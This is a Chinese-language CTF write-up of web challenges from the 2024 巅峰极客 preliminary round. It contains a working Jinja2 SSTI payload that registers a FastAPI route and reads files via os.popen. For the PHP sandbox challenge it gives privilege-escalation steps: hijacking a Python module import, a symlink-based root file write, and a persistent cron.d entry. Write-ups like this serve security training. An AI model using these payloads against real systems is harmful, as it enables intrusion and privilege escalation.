2024 巅峰极客初赛 web

感谢A1natas的小伙伴 这次我们A1natas 获得了第19名 决赛见

1196e25217472d6f35ca17140085fb5

EncirclingGame

签到 直接玩游戏就行 队友玩了会就穿了

image-20240818001844866

GoldenHornKing

贴一下payload

1
lipsum.__globals__['__builtins__']['eval']("app.add_api_route('/shell',lambda:result ,methods=['GET'])",{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()})

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os

import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep


# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)

return wrapper

return decorator


app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)


@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()


@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"


if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)

赛后分析

ssti这里存在过滤

  • 整个`if`语句的作用是检查`calc_req`中是否包含以下任意一项:
    - 一个数字 - 字符`"%"` - 非ASCII字符
    
    1
    2
    3
    4
    5

    检查结束之后就执行如下操作

    ```python
    jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})

创建了一个Jinja2的环境对象,然后这里调用Jinja2模板对象 处理字符串模板

ssti直接注入是没啥问题的

image-20240818010455145

环境不出王 这里利用的fastapi 使得这里的路由产生了变化

原先在flask里面的路由是用 add_url_rule添加路由,现在得用add_api_route添加路由

值得注意的是 每次执行命令成功都要重启一次靶机()

所以只有一次机会 写入内存马也行

php_online

这题折磨了我好久 欸

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

return result


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)

这里可以执行任意代码 我们弹个shell到自己机子上方便操作

import logging 提权

此时的权限是nobody 几乎什么权限都没有 只有在user_id文件夹下有权限

注意到

image-20240818002419424

这里吧一个init.py给读取到运行目录下 然后使用wwwdata的权限执行了

我们对这个目录是有权限的 init文件内容如下

1
2
import logging
logger.info('Code execution start')

这里导入了一个logging包 可以创建一个同名的包 里面的__init__.py文件写入我们的恶意code 这样import就会执行这个init

image-20240818003028547

然后成功提权到wwwdata 此用户在sandbox下有完全权限

注意到

image-20240818003124170

这里尝试在/sandbox/{user_id}目录下写入一个phpcode 然后尝试低权限 执行结束之后就删除文件

任意文件写入

如果我们创建一个软连接/user_id 指向一个目录 我们就可以实现用root权限任意文件写入

1
ln -s /path/to/write  /sandbox/user_id

注意到存在/etc/cron.d 此目录下文件会被作为定时任务加载 可以尝试使用定时任务提权

但是这里写入之后执行立刻被删除 我最开始想到的是条件竞争

用发包在/etc/cron.d/phpcode 目录下写入

1
*/1 * * * * root chmod 777 /flag

然后不停发包 等待竞争成功

然后在发了13w个包之后 我放弃了。。。。

尝试用这个包持久化

注意到他必须先执行完在删除

image-20240818003901990

如果我能让他执行的慢一点 就能完成持久化写入

持久化写入

在cron任务中 唯一的注释是#

我使用# ?><?php {code} 就可以成功执行代码

image-20240818004125915

直接写入

1
2
#?> <?php sleep(10000);?> #
*/1 * * * * root chmod 777 /flag

这样就能成功持久化

但是依旧不能执行 我不理解为什么 这里硬控了我6小时

直到我发现 注释换一下就能执行(柠檬

定时任务提权

最后就是先创建软连接

image-20240818004321774

然后写入任务

image-20240818004343253

成功写入

image-20240818004456153

reload一下cron(意义不明的操作)

image-20240818004436645

等待执行之后 得到flag

image-20240818004524840